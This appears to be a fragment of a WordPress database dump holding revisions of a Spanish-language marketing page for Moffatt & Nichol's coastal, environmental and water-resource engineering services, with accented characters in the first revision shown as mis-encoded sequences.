Moffatt & Nichol ha proporcionado planeamiento, gestiÃ³n de autorizaciones, participaciÃ³n de la comunidad, modelaciÃ³n y anÃ¡lisis de la ribera, desarrollo del presupuesto del litoral, anÃ¡lisis de daÃ±os y beneficios de tormentas, determinaciÃ³n y evaluaciÃ³n de fuentes de arena y alternativas de dragado, ingenierÃa, diseÃ±o, preparaciÃ³n de documentaciÃ³n de construcciÃ³n y servicios de licitaciÃ³n y construcciÃ³n.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/intel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">gestiÃ³n de bocas de entrada</h1>\r\n Las bocas de entrada estÃ¡n entre los elementos mÃ¡s importantes de los sistemas costeros. FÃsicamente, son primordiales para el funcionamiento de los procesos del litoral y por lo tanto determinan el comportamiento de la ribera mediante el control de dichos procesos en su regiÃ³n. Por ejemplo, permiten el intercambio de agua, sedimento y nutrientes entre las bahÃas y los ocÃ©anos y juegan un papel muy importante en los procesos de evoluciÃ³n de las islas de barrera, ademÃ¡s de tener un gran impacto en la estabilidad de las riberas adyacentes y en la propagaciÃ³n de la marejada ciclÃ³nica en bahÃas interiores. AdemÃ¡s, proporcionan acceso de navegaciÃ³n importante, y con frecuencia irreemplazable, entre esas bahÃas interiores resguardadas y el mar abierto. \r\n \r\nLa correcta gestiÃ³n de las bocas de entrada requiere una profunda comprensiÃ³n y amplia evaluaciÃ³n de la dinÃ¡mica de la entrada y la ribera. Moffatt & Nichol ha perfeccionado las habilidades y herramientas que utiliza para analizar dichas dinÃ¡micas y otros problemas relevantes mediante el anÃ¡lisis y la evaluaciÃ³n de algunas de las bocas de entrada costeras mÃ¡s importantes y dinÃ¡micas de NorteamÃ©rica. Esta experiencia incluye:\r\n<ul>\r\n<li>AnÃ¡lisis de estabilidad (bocas de entrada individuales y mÃºltiples)</li>\r\n<li>Abertura de la isla de barrera y nuevo desarrollo de bocas de entrada</li>\r\n<li>EvoluciÃ³n del bajÃo de marea baja y de inundaciÃ³n</li>\r\n<li>Presupuestos de sedimentos</li>\r\n<li>ModelaciÃ³n detallada de olas, hidrodinÃ¡mico, transporte de sedimentos y morfolÃ³gico</li>\r\n<li>Estimaciones de asomeramiento de canales</li>\r\n<li>Estructuras de estabilizaciÃ³n</li>\r\n<li>Sistemas de derivaciÃ³n mecÃ¡nicos</li>\r\n<li>AnÃ¡lisis de navegaciÃ³n</li>\r\n<li>OptimizaciÃ³n de canales de bocas de entrada (disposiciÃ³n y dimensiones)</li>\r\n<li>EvaluaciÃ³n de impactos de bocas de entrada en la hidrodinÃ¡mica de la bahÃa y la calidad del agua</li>\r\n</ul>\r\n&nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/dragged-material.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">gestiÃ³n de material dragado y su reutilizaciÃ³n beneficiosa</h1>\r\nHistÃ³ricamente, el material dragado era considerado como â€œescombrosâ€ para desechar mientras que el material dragado mÃ¡s recientemente ha sido reconocido como un recurso valioso para la creaciÃ³n de humedales, recuperaciÃ³n de playas y otros proyectos similares. Con nuestra especializaciÃ³n en ingenierÃa costera, Moffatt & Nichol ha trabajado continuamente desde su fundaciÃ³n en planes y proyectos de gestiÃ³n de materiales dragados, incluyendo muchos relacionados con la reutilizaciÃ³n beneficiosa de dicho material. Particularmente, Moffatt & Nichol tiene un extenso y exitoso historial de experiencia con proyectos de dragado para el Cuerpo de Ingenieros del EjÃ©rcito de EE.UU., varias autoridades portuarias y gobiernos internacionales. Los proyectos tÃpicos incluyen el dragado y la colocaciÃ³n de materiales en altiplanicies, riberas, Ã¡reas cercanas a la costa y costa afuera, realizados por diferentes razones, que incluyen la profundizaciÃ³n de atracaderos, cuencas y canales de navegaciÃ³n, el dragado de emergencia o mantenimiento, la creaciÃ³n o restauraciÃ³n de hÃ¡bitats/tierras/puertos, otras aplicaciones beneficiosas y la reactivaciÃ³n de antiguos lugares de colocaciÃ³n.\r\n\r\nMuchos de nuestros proyectos de dragado han implicado la modelaciÃ³n numÃ©rica de alta gama hidrodinÃ¡mico y de destino del sedimento (uni-, bi- y tridimensional) e incluyeron la gestiÃ³n de autorizaciones, estrategias de gestiÃ³n de largo plazo, planes de gestiÃ³n de materiales dragados o la documentaciÃ³n de la construcciÃ³n. TambiÃ©n tenemos la capacidad de proporcionar estimaciones de la cantidad â€œbasadas en el riesgoâ€ y opiniones de costos probables en casos en los que el diseÃ±o del proyecto utiliza un criterio de riesgo aceptable para el diseÃ±o. Hemos completado el dragado para proyectos que varÃan desde cantidades tan pequeÃ±as como 5.000 yardas cÃºbicas, hasta la creaciÃ³n de Ã¡reas sin edificar adyacentes a puertos que implicaban 26 millones de yardas cÃºbicas (el proyecto mÃ¡s grande de creaciÃ³n de terreno en los Estados Unidos.)\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-transportion.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">vulnerabilidad del sistema de transporte costero </h1>\r\nA medida que la densidad demogrÃ¡fica continÃºa aumentando cerca de nuestras costas y se construye infraestructura para apoyar ese aumento, la vulnerabilidad de dicha poblaciÃ³n e infraestructura al daÃ±o de tormentas costeras, asÃ como a un daÃ±o mÃ¡s gradual debido a cambios de largo plazo, se ha convertido en un foco de atenciÃ³n mientras los gobiernos intentan presupuestar los gastos iniciales y de mantenimiento. Como la historia demuestra, estos aumentos en la poblaciÃ³n y la infraestructura han llevado a aumentos correspondientes en los presupuestos, lo que puede ser agravado por su asignaciÃ³n a Ã¡reas mÃ¡s vulnerables. Para colaborar con el manejo de estos gastos, Moffatt & Nichol proporciona una gama completa de servicios de planeamiento e ingenierÃa costeros decisivos para determinar correctamente la vulnerabilidad y para formular los criterios de diseÃ±o apropiados que afectan al desarrollo. Por ejemplo, la determinaciÃ³n de la vulnerabilidad de posibles instalaciones de transporte costeras puede afectar la selecciÃ³n de rutas o ubicaciones mÃ¡s rentables. \r\n \r\nLas especialidades de Moffatt & Nichol relacionadas con la determinaciÃ³n de la vulnerabilidad incluyen la modelaciÃ³n hidrodinÃ¡mica, el anÃ¡lisis retrospectivo del oleaje y el anÃ¡lisis estadÃstico para determinar los criterios de diseÃ±o para la elevaciÃ³n de la marejada ciclÃ³nica, la elevaciÃ³n de la altura de la ola y la direcciÃ³n y magnitudes de la corriente. Estas determinaciones proporcionan la base para los anÃ¡lisis morfolÃ³gicos costeros, los anÃ¡lisis de socavaciÃ³n, los anÃ¡lisis de colisiÃ³n de buques y la gestiÃ³n de aguas pluviales que afectan la localizaciÃ³n y el diseÃ±o de caminos y puentes costeros.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/hydraulic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">estructuras hidrÃ¡ulicas</h1>\r\nA travÃ©s de la historia, el hombre ha tratado de controlar, o al menos influir, en las corrientes y los rÃos para evitar inundaciones o para mejorar el suministro y la calidad del agua, la navegaciÃ³n, la agricultura y el suministro de energÃa. Moffatt & Nichol es experto en el planeamiento y diseÃ±o de estructuras hidrÃ¡ulicas utilizadas para modificar corrientes y rÃos, al mismo tiempo que protege la vida, la propiedad y el medioambiente. Esta experiencia incluye diques fluviales, vertederos, muros de protecciÃ³n contra inundaciones, presas, estructuras hidrÃ¡ulicas de control de flujo, esclusas, compuertas de marea, desvÃos de flujo, sifones invertidos, reservorios, lagunas de retenciÃ³n, salidas, desembocaduras, alcantarillas y una variedad de canales naturales y artificiales.</a>\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-structures.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">estructuras costeras </h1>\r\nEn cuanto a otros aspectos en el Ã¡rea de especializaciÃ³n de la ingenierÃa costera, Moffatt & Nichol ha participado por mucho tiempo en el planeamiento y diseÃ±o de estructuras costeras: rompeolas, malecones, diques marÃtimos, espigones, escolleras, muros de retenciÃ³n, etc., para proteger/estabilizar/controlar secciones de lÃneas costeras, bocas de entrada, puertos y definir las interfaces tierra/agua. Hemos planeado, analizado y diseÃ±ado estructuras costeras en todos los ambientes de frentes costeros:\r\n<ul>\r\n<li>desde lÃneas costeras abiertas con agua profunda y exposiciÃ³n a tsunamis hasta bahÃas protegidas con aguas poco profundas y consideraciones acerca de seiches y la sobreelevaciÃ³n del nivel del mar por oleaje. </li>\r\n<li>desde el Ãrtico, donde el hielo puede determinar los parÃ¡metros de diseÃ±o, hasta el Ecuador, donde la corrosiÃ³n puede, y </li>\r\n<li>desde suelos dÃ©biles que proporcionan poco apoyo al lecho de roca expuesto</li>\r\n</ul>\r\nEsta amplitud de experiencia y conocimientos sobre estructuras costeras ha sido reconocida al habernos elegido para completar los manuales de diseÃ±o de estructuras de frentes costeros para la Marina de EE.UU. y el Cuerpo de Ingenieros del EjÃ©rcito de EE.UU.\r\n\r\nYa sea que se diseÃ±en directamente o que se proporcione informaciÃ³n a otras disciplinas para su diseÃ±o, el diseÃ±o de estructuras costeras se apoya en los resultados de varios anÃ¡lisis costeros en los que somos expertos, es decir, anÃ¡lisis estadÃsticos (viento, olas, corrientes, marejadas ciclÃ³nicas), modelaciÃ³n numÃ©rica y fÃsica incluyendo cambios morfolÃ³gicos costeros, o la determinaciÃ³n de carga hidrodinÃ¡mica. Por ejemplo, nuestros ingenieros costeros determinan regularmente las cargas hidrodinÃ¡micas para que nuestros ingenieros estructurales de frentes costeros las utilicen como una de las cargas dinÃ¡micas que serÃ¡n consideradas durante el diseÃ±o de la estructura. Estamos muy familiarizados con los problemas, muchos de ellos Ãºnicos, pertinentes al diseÃ±o y la construcciÃ³n de estructuras de zonas costeras, incluyendo el anÃ¡lisis de riesgo, la selecciÃ³n de materiales, la factibilidad de construcciÃ³n del sistema estructural y las implicaciones de costos de cada uno. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/modeling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">navegaciÃ³n/amarre/atraque de buques</h1>\r\nA medida que las demandas comerciales y recreacionales aumentan, el tamaÃ±o y la cantidad de buques que utilizan puertos y vÃas navegables en el mundo aumentan, lo que puede llevar a diversos problemas y conflictos de navegaciÃ³n. Desde nuestra fundaciÃ³n en 1945 por parte de ingenieros especializados en puertos, Moffatt & Nichol ha participado en proyectos de planeamiento y diseÃ±o de navegaciÃ³n formulados para aliviar dichos problemas y conflictos de navegaciÃ³n. Por consiguiente, hemos realizadoestudios de navegaciÃ³n en todo el mundo para una larga lista de clientes, usualmente organismos gubernamentales, pero tambiÃ©n para compaÃ±Ãas privadas (como empresas de energÃa, de defensa, fabricantes o expedidores). AdemÃ¡s de los estudios de navegaciÃ³n, periÃ³dicamente realizamos estudios de amarre y atraque de buques. Estos estudios utilizan modelos numÃ©ricos avanzados que examinan las maniobras y el movimiento de buques tanto durante su trÃ¡nsito como mientras estÃ¡ atracado.\r\n  \r\n<strong>NavegaciÃ³n de buques.</strong> Los estudios de navegaciÃ³n de buques generalmente evalÃºan las caracterÃsticas existentes y propuestas de la vÃa navegable para las condiciones sin proyecto y con proyecto mediante el anÃ¡lisis de parÃ¡metros tales como la utilizaciÃ³n/operaciÃ³n del buque, las prÃ¡cticas de navegaciÃ³n y la gestiÃ³n de la vÃa navegable. Moffatt & Nichol tiene gran experiencia en proporcionar tales estudios, incluyendo aspectos tales como los anÃ¡lisis/impactos econÃ³micos, anÃ¡lisis/impactos del transporte, caracterÃsticas de funcionamiento e hidrodinÃ¡mica del movimiento del buque y la evaluaciÃ³n cualitativa y cuantitativa de los riesgos, lo que implica el anÃ¡lisis estadÃstico para las alternativas consideradas. Esta experiencia incluye simulaciones de puente en escritorio y en misiÃ³n completa de las maniobras del buque en vÃas navegables, puertos y carriles de navegaciÃ³n para una gama completa de condiciones potenciales de viento, olas y corrientes.\r\n\r\n<strong>Amarre/Atraque.</strong> Moffatt & Nichol utiliza una variedad de modelos de computadora para anÃ¡lisis estÃ¡ticos y dinÃ¡micos de los buques amarrados a estructuras de frentes costeros y amarres costa afuera (de un punto y de mÃºltiples puntos). Los modelos se utilizan para evaluar las operaciones de buques/carga de contenedores, movimientos del buque, cargas de amarre, requisitos de defensas y condiciones medioambientales limitantes (por ejemplo, el tiempo de inactividad asociado con las inclemencias del tiempo, los criterios de evacuaciÃ³n para tormentas severas, la necesidad de ayuda de un remolcador o la necesidad de protecciÃ³n del atraque).\r\n\r\nUsando los resultados de dichos estudios, Moffatt & Nichol ha seguido desarrollando las alternativas seleccionadas mediante el proceso de diseÃ±o y construcciÃ³n. Los proyectos tÃpicos han incluido canales de navegaciÃ³n/cuencas de retorno, dragado, ayudas de navegaciÃ³n, instalaciones de amarres, operaciones de lanchaje, control de rÃos, sistemas de defensas y mejoras de la estructura del frente costero.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n    <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/water-resourses.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"12\">recursos hÃdricos</h1>\r\nCon los cambios de poblaciÃ³n y las demandas de infraestructura correspondientes, la gestiÃ³n de la divisoria de aguas se ha convertido en un problema importante en muchos lugares donde anteriormente la poblaciÃ³n era indiferente, mientras que en otros, con una mayor conciencia de la sostenibilidad, se ha convertido en la preocupaciÃ³n principal que afecta al desarrollo. Para tratar estas preocupaciones, Moffatt & Nichol ha preparado estudios de recursos hÃdricos que han examinado en detalle y cuidadosamente las divisorias de aguas y las alternativas para manejar este activo en beneficio de la comunidad. Para estos estudios, Moffatt & Nichol ha suministrado el planeamiento, modelaciÃ³n, anÃ¡lisis, soluciones alternativas, participaciÃ³n ciudadana, gestiÃ³n de autorizaciones, ingenierÃa, diseÃ±o, documentaciÃ³n de la construcciÃ³n y servicios de licitaciÃ³n y construcciÃ³n para que los proyectos mejoren o solucionen los problemas de gestiÃ³n de agua para tareas que comprenden desde iniciativas de grandes divisorias de aguas o problemas de drenaje de subdivisiones hasta el impacto de las escorrentÃas sobre propietarios individuales.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/storm-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"13\">gestiÃ³n de aguas pluviales</h1>\r\nLa gestiÃ³n de aguas pluviales como un medio para reducir las inundaciones o el impacto sobre la calidad del agua causado por las escorrentÃas se ha convertido en un Ã¡rea de creciente interÃ©s de parte de la ciudadanÃa y de los organismos gubernamentales a medida que aumenta su conciencia de estos agresores del medioambiente. Con esta creciente atenciÃ³n, se ha desarrollado el interÃ©s en un tratamiento y una gestiÃ³n mÃ¡s pequeÃ±os y proactivos de las aguas pluviales, cerca de la fuente de la escorrentÃa, en comparaciÃ³n con el tratamiento de la escorrentÃa mÃ¡s cerca de su destino. Moffatt & Nichol ha realizado proyectos de aguas pluviales que implicaban solicitudes de subvenciones, planeamiento/restauraciÃ³n de la divisoria de aguas, anÃ¡lisis de llanuras inundables, modelaciÃ³n hidrolÃ³gica/hidrÃ¡ulica integrada, apoyo para gestiÃ³n de autorizaciones, mejores prÃ¡cticas de gestiÃ³n de aguas pluviales, estructuras hidrÃ¡ulicas, sistemas de bombeo, mitigaciÃ³n de impactos, integraciÃ³n GIS/GPS, coordinaciÃ³n de diferentes organismos y participaciÃ³n ciudadana.\r\n      \r\nHemos completado estos proyectos en una amplia gama de escenarios hidrolÃ³gicos y topogrÃ¡ficos: montaÃ±as, colinas y valles costeros, pero proporcionamos excepcionales capacidades para tratar dichos proyectos en valles costeros. En regiones costeras, los problemas de gestiÃ³n de aguas pluviales son especialmente complejos porque el bajo relieve en topografÃa y las altas capas freÃ¡ticas limitan la colocaciÃ³n y con frecuencia afectan el rendimiento de las mejores prÃ¡cticas de gestiÃ³n de aguas pluviales convencionales. Como resultado de nuestro enfoque en la regiÃ³n costera, Moffatt & Nichol estÃ¡ muy familiarizado con prÃ¡cticas menos convencionales, casi atÃpicas, que funcionan bajo estas complejas condiciones. Como parte de esta familiaridad y de nuestra utilizaciÃ³n de modelos numÃ©ricos complejos en el ambiente costero, Moffatt & Nichol tambiÃ©n proporciona experiencia profesional especializada en la evaluaciÃ³n de problemas de aguas pluviales costeras, que incluyen el uso de modelos de agua superficial/agua subterrÃ¡nea combinadas para analizar su flujo y captaciÃ³n.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/air-sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"14\">anÃ¡lisis de aire, sedimentos y calidad del agua</h1>\r\nPara ayudar a nuestros clientes a responder a los pedidos de los diferentes organismos reguladores que controlan la gestiÃ³n de autorizaciones de proyectos de frentes costeros y zonas costeras, Moffatt & Nichol ha utilizado modelos numÃ©ricos existentes y ha desarrollado un modelo computacional basado en actividades para estimar los efectos de posibles proyectos sobre los sedimentos, el agua o la calidad del aire en la cercanÃa de dichos proyectos. Estos modelos tambiÃ©n se utilizan para desarrollar y examinar alternativas de tratamiento de los sedimentos, del agua o de la calidad del aire durante la construcciÃ³n del proyecto y posteriormente durante la operaciÃ³n.\r\n  \r\nPara la gestiÃ³n de sedimentos, Moffatt & Nichol utiliza modelos numÃ©ricos muy sofisticados a fin de estudiar el incremento, la erosiÃ³n y el dragado del sedimento. Modelos similares de las prÃ¡cticas actuales se utilizan para analizar la calidad del agua de las masas de agua de rÃos, estuarios y costas. Por ejemplo, Moffatt & Nichol ha realizado varios proyectos que requerÃan el retiro, la colocaciÃ³n y el aislamiento de sedimentos contaminados para evitar su reintroducciÃ³n al medioambiente y los riesgos ecolÃ³gicos potenciales asociados con dicha reintroducciÃ³n. Estos proyectos generalmente usan instalaciones de contenciÃ³n que aÃslan los sedimentos tratados quÃmicamente en Ã¡reas de colocaciÃ³n en altiplanicies, cerca de la costa, costa afuera o en el subsuelo; Moffatt & Nichol ha modelado dichas instalaciones en todas las etapas de su realizaciÃ³n.\r\n\r\nComo parte de la obtenciÃ³n de las autorizaciones para proyectos dentro de Ã¡reas de emisiÃ³n de aire delicadas, Moffatt & Nichol ha desarrollado un modelo computacional basado en actividades que cuantifica las emisiones de aire e integra los factores de emisiÃ³n de aire aceptados por la Agencia para la ProtecciÃ³n del Medioambiente (EPA, por sus siglas en inglÃ©s) con modelos de planeamiento operativo desarrollados por Moffatt & Nichol. Este modelo se ha utilizado para modelar aspectos de la emisiÃ³n en proyectos de desarrollo portuario en Ã¡reas muy urbanizadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/vesel-new.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"15\">estudios de maniobras y trÃ¡fico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numÃ©ricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numÃ©rico llamado Lenguaje de SimulaciÃ³n para ModelaciÃ³n Alternativa (SLAM, por sus siglas en inglÃ©s).  Este modelo tambiÃ©n incluye un mÃ³dulo de grÃ¡ficos que proporciona una visualizaciÃ³n animada en pantalla de los resultados.  Pueden hacerse anÃ¡lisis del trÃ¡fico de buques en puertos, vÃas navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilizaciÃ³n de un puerto.  Moffatt & Nichol ha desarrollado un modelo avanzado de trÃ¡fico de buques que se ha aplicado con Ã©xito en varios proyectos de diferentes campos, desde el trÃ¡fico de naves comerciales en puerto hasta operaciones de trÃ¡fico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/watershed.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"17\">restauraciÃ³n de la divisoria de aguas</h1>\r\n Han ocurrido impactos negativos sobre la calidad del agua y el hÃ¡bitat acuÃ¡tico en los rÃos, corrientes, lagos, estuarios y humedales de Estados Unidos a causa de varios efectos a lo largo del tiempo. La restauraciÃ³n de la divisoria de aguas busca devolver algunos de estos ecosistemas a condiciones aproximadamente iguales a las que tenÃa previas a las alteraciones. Esto requiere la implementaciÃ³n integral de diversas soluciones o proyectos para los cuales Moffatt & Nichol puede proporcionar una gama completa de servicios de planeamiento, modelaciÃ³n numÃ©rica, diseÃ±o de ingenierÃa y construcciÃ³n, necesarios para que dichos proyectos tengan Ã©xito.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n\r\n','Servicios de recursos costeros, medioambientales e hídricos','','inherit','open','open','','526-revision-2','','','2012-06-15 05:27:38','2012-06-15 05:27:38','',526,'http://moffattnichol.com/spanish/526-revision-2/',0,'revision','',0),(2466,1,'2012-06-15 05:30:06','2012-06-15 05:30:06','<div class=\"content_faq\">\r\n  <h3>servicios de recursos costeros, medioambientales e hídricos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel1.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">modelación numérica de procesos fluviales, estuarinos y costeros</h1>\r\nDado el énfasis en preservar o mejorar el medioambiente, uno de los aspectos más críticos que afectan la aprobación reglamentaria de los nuevos proyectos es la evaluación de su impacto en el medioambiente existente. La participación de Moffatt & Nichol en estas evaluaciones de impacto usualmente requiere nuestras capacidades para analizar procesos fluviales, estuarinos y costeros a través del uso de modelos numéricos avanzados para estudiar los efectos con y sin el proyecto sobre la hidrodinámica (nivel del agua, olas, corrientes, inundaciones), transporte de sedimentos, erosión y deposición y calidad del agua. Tenemos un gran conocimiento de los procesos físicos activos en estas ubicaciones, adquirido mediante la realización de centenares de proyectos afectados, y con la ayuda de investigaciones y simulaciones de modelos numéricos. Moffatt & Nichol ha completado centenares de estudios de modelación, usando varias plataformas de modelación comerciales y de dominio público, en todo el mundo; esto incluye haber realizado análisis de la mayor parte de los principales estuarios y bahías costeras a lo largo de la costas oriental, del golfo y occidental de los Estados Unidos. Muchos de estos estudios de modelación han sido objeto de una rigurosa revisión y aceptación por las partes interesadas relacionadas con los proyectos, incluyendo la comunidad medioambiental y reguladora, como parte del proceso de revisión medioambiental.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">transporte de sedimentos</h1>\r\nEl análisis del transporte de sedimentos de Moffatt & Nichol examina los cambios en el equilibrio de un medioambiente costero que resulta típicamente de acontecimientos naturales (por ejemplo, tormentas) o artificiales (por ejemplo, dragados) que vuelven a colocar el sedimento. Estos análisis son utilizados para predecir los resultados de un acontecimiento o los impactos potenciales de un proyecto mediante el examen de la evolución física del área después de dicho acontecimiento. Los mecanismos físicos examinados incluyen la erosión o deposición como resultado de corrientes existentes o cambios a las corrientes, olas, mareas o a los parámetros del agua (como la densidad, temperatura o composición).\r\n\r\nPara examinar el transporte de sedimentos, la erosión y la deposición, Moffatt & Nichol utiliza métodos analíticos eficientes y comprobados, desarrollados en forma interna, así como sofisticados modelos numéricos comerciales y de dominio público. Moffatt & Nichol ha aplicado estos métodos extensamente en todo el mundo para proyectos de mejoras o daños de riberas y puertos, incluyendo algunos de los mayores proyectos de profundización de canales emprendidos en los Estados Unidos (como el estudio de profundización del puerto de Nueva York/Nueva Jersey).\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/ecosystem.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">restauración del ecosistema</h1>\r\nEn la relativamente nueva era de toma de conciencia del ecosistema, Moffatt & Nichol proporciona frecuentemente servicios de planeamiento, científicos y de ingeniería para proyectos que implican la conservación, mejora o restauración. A menudo, dichos proyectos son componentes de mitigación que permiten que se desarrollen proyectos más grandes que, como tales, están sujetos a mayor escrutinio debido a la participación de los organismos reguladores. Estos componentes usualmente aumentan el número de partes interesadas, incrementan la visibilidad de un proyecto y pueden necesitar una gran coordinación entre dichas partes interesadas: el público, los organismos gubernamentales y las organizaciones no gubernamentales. \r\n\r\nPara dichos proyectos, las estrategias de mejora con frecuencia implican la modificación de los parámetros del agua en el ecosistema (por ejemplo, cambiando el flujo entrante o la distribución de agua dulce o salada), proporcionando ubicaciones/regímenes mejorados para la flora y fauna y protegiendo dichas mejoras contra los cambios adversos (como la estabilización de riberas). Habiendo tratado cada uno de estos aspectos en muchos proyectos de restauración exitosa, Moffatt & Nichol ofrece su experimentado personal con una sólida trayectoria de éxito en proporcionar planeamiento, modelación numérica, gestión de autorizaciones, ingeniería, diseño, servicios de construcción, participación ciudadana y supervisión de proyectos de restauración del ecosistema.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/regionalsend.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">gestión regional de la arena</h1>\r\nHistóricamente, los proyectos de mejora de riberas fueron planeados y diseñados caso por caso, independientemente de sus impactos potenciales en las riberas vecinas o en todo el sistema del litoral. Dichos proyectos han sido considerados más recientemente sobre una base regional, particularmente en 